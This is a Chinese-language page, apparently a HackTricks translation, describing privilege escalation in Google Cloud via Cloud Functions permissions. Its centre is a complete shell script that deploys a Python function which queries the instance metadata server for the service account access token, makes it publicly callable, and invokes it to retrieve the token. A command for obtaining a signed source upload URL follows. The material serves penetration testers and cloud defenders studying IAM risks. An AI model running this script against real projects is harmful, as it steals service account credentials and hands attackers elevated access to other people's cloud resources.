GCP - Cloudfunctions Privesc

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

cloudfunctions

有关 Cloud Functions 的更多信息:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

拥有这些权限的攻击者可以 创建一个带有任意(恶意)代码的新 Cloud Function,并将其分配给一个服务账户。然后,从元数据中泄露服务账户令牌以提升权限。 可能需要一些权限来触发该函数。

此方法的利用脚本可以在 这里这里 找到,预构建的 .zip 文件可以在 这里 找到。

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

拥有这些权限的攻击者可以 修改函数的代码,甚至修改附加的服务账户,目的是提取令牌。

为了部署云函数,您还需要对默认计算服务账户或用于构建映像的服务账户具有 actAs 权限。

可能需要一些额外的权限,例如版本 1 cloudfunctions 的 .call 权限或触发该函数的角色 role/run.invoker

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

如果您收到错误 Permission 'run.services.setIamPolicy' denied on resource...,这意味着您正在使用 --allow-unauthenticated 参数,并且您没有足够的权限。

此方法的利用脚本可以在 这里 找到。

cloudfunctions.functions.sourceCodeSet

通过此权限,您可以获取一个 签名的 URL,以便能够将文件上传到函数存储桶(但函数的代码不会被更改,您仍然需要更新它)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

从攻击者的角度来看,仅有这个权限的实用性不太确定,但知道这一点是好的。

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

给自己任何之前的 .update.create 权限以进行升级。

cloudfunctions.functions.update

仅拥有 cloudfunctions 权限,而没有 iam.serviceAccounts.actAs,你 将无法更新函数,因此这不是有效的权限提升。

存储桶写入权限

你可能认为拥有 存储桶的写入权限 的攻击者将能够 修改代码,覆盖 function_code.zip,然后使函数 执行任意 代码。

然而,这并不正确,仅仅覆盖存储桶中的代码不会修改正在执行的代码。

参考文献

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated